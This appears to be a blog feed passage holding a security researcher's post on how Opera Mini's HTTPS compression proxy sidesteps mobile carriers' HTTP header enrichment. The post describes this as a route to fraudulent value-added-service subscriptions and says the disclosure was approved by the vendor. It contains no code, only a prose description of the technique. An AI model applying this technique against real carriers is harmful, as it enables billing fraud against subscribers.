tag:blogger.com,1999:blog-70520345377280655572024-03-20T01:25:47.109-07:00inputzero (!=1337) - Just another security blog by DhirajDhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.comBlogger43125tag:blogger.com,1999:blog-7052034537728065557.post-35249511861395744812021-11-29T22:49:00.001-08:002022-01-08T05:48:18.545-08:00Play the Opera Please<div style="text-align: left;"><span style="font-size: large;"><i>Prior approval are taken from Opera security team before disclosing this issue!</i></span></div><div><br /></div><div>Before we get started there are few things which we need to understand such as,</div><div><br /></div><div><b>Value added service (VAS):</b> Value added services (<a href="https://en.wikipedia.org/wiki/Value-added_service" target="_blank">VAS</a>) is a popular telecommunications term for non-core services, example: (Caller-tunes, Missed call alerts, Online gaming etc).</div><div><br /></div><div><b>GGSN: </b>The gateway GPRS support node (<a href="https://en.wikipedia.org/wiki/GPRS_core_network" target="_blank">GGSN</a>) is a main core component, GGSN is responsible for the interworking between the GPRS network and external packet, basically this is a routing device.</div><div><br /></div><div><b>HTTP header enrichment (HE Process):</b> HTTP header enrichment is the process of adding data fields in the HTTP header. This is commonly used in mobile networks by adding user and device identifiers in HTTP requests such as IMEI, IMSI, MSISDN or other data to identify subscriber or mobile device details<span style="font-size: xx-small;">[<a href="https://www.a10networks.com/blog/what-http-header-enrichment/" target="_blank">1</a>]</span>.</div><div><br /></div><div>As per my understanding during a VAS subscription process, GGSN picks up the MSISDN from HTTP header to subscribe end users, the idea is to abuse HTTP header enrichment process via Opera mini browser which could lead to fraudulent VAS activation. </div><div><br /></div><div>Why Opera mini? Opera mini is famous for data compression (data saving mode) although it supports three types of data savings compressions modes. direct, extreme and high.<br /></div><div> </div><div>Once the request is initiated and routed by GGSN all communication happens in HTTPS, hence GGSN will not be familiar with the source MSISDN, because there is no header enrichment process, Opera turbo server establish a secure session to perform rest of the process during the subscription. In this case GGSN acts as a routing device and fails to perform HE process (Because HE can only be performed on HTTP protocol but Opera mini creates an HTTPS based session). <br /><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOd1jVkIhgHVRwulGg37TUx0eyQgOc5wzrWzmptdrsPfv8YoX2ajsBWI0EJg0AjtWAWbSW9Ls7qdRrHzxJNmSip3VMSUv81sOlbWaWBy9BnLhHIIxp53dlchLfhoDDZFlF5aQ59A2MI8I/" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="158" data-original-width="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOd1jVkIhgHVRwulGg37TUx0eyQgOc5wzrWzmptdrsPfv8YoX2ajsBWI0EJg0AjtWAWbSW9Ls7qdRrHzxJNmSip3VMSUv81sOlbWaWBy9BnLhHIIxp53dlchLfhoDDZFlF5aQ59A2MI8I/s16000/Opera_mini.png" /></a></div>Post this if we navigated to https://www.inputzero.io snif the packets via wireshark the source IP would be our public IP and destination hits to opera turbo servers such as `<i>global-4-lvs-hopper.opera-mini.net</i>` rather than www.inputzero.io.<br /><br /></div><div style="text-align: center;"><img alt="" height="153" src="data:image/png;base64,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QG6CldJZZ53VPexhD0sXw+1ud7vR9dQMUEAIcQV85StfWekl6rziQHGgODAVHCgFYCpu4/gP4te//nX3hje8ITuqmh+Bj/71X/+1UwYY1j9M///zf/5Pd+lLXzr3reRNmeE//dM/zVN/+ctfZsEfP7TN/YAoGG9+85vze70VB4oDxYFZ5UApALN65zd43MzxbfX/hCc8IUv26sKb3vSmTnEfdJvb3KZ77GMfm98dy3e/VFL9D64Av7+ywC3w74QTTugoH+iWt7xlxgL4/ra3vS2VDt+LigPFgeLALHKgFIBZvOubMGa5+AS0lfgjHvGIUQ9U70OXvOQlu3e+852533H3u9/9ulvc4hZLwgl4xzve0e0S8QOEPbrMZS7TvfjFL862WBie/vSn53aWhTvf+c75nXXgk5/8ZH6vt+JAcWA2OfDnf/7n3emnn74mg//sZz/bvfGNb1yTtuY3csc73nFVrtH57bXflQXQODFln63OvU8vQlUu/IUXXpgr8d/+9rf5aaXtdalLXaq74hWvuMXrCle4Qq6q/+AP/iAFKgHutVyS7kfgKtH7gx/8IIW0lb9gPSQwrykDp556arf33nvn9t133737+te/nt8XetPGDW5wg8549Mvvq1/96hlPcJ3rXKf753/+5+4P//APOxYCWANKAys3jFgbXvOa1yzUbG0rDhQHZogDsoYsEMQhyUQyV/zXf/1XWgl9WjCwKnJfmk/Npc1V6bvtH/jAB3Ku4t5scUwWNo4zf5qjnGueNVe1BRELpTnKOebndp3F2O8451z5ylceBVEvduy2tl9qWwfU/snhwM9//vPunHPO6b75zW/mg+iB8/B5oEXde0i32267/O4Bt1K23QPnIQbM8+Mf/ziF5kUXXZSfVtDasP/f/u3f8gG+2tWulkL3+te/fnfjG994FMy3GKf8gb785S/n7l1ipa4fyMod+ZPc+973zu/eWqYAc/4J/72qt/2nP/1pauv6DtwH/dEf/VF38MEHdy984Quzb3/zN3/TveQlL8kx7bnnnnm8PxWlgzLRAgGdC4BI31y/qDhQHJg9Dlh4HHLIId3zn//8RAq99a1vnWBhhLj5kbWS1dBCyALmec97Xnfta1875yjzF0H+5Cc/OY953/velwsQbbAGEPDHHntszsd/9Vd/lXOSOc0c+9a3vrU79NBDc99DH/rQ7kpX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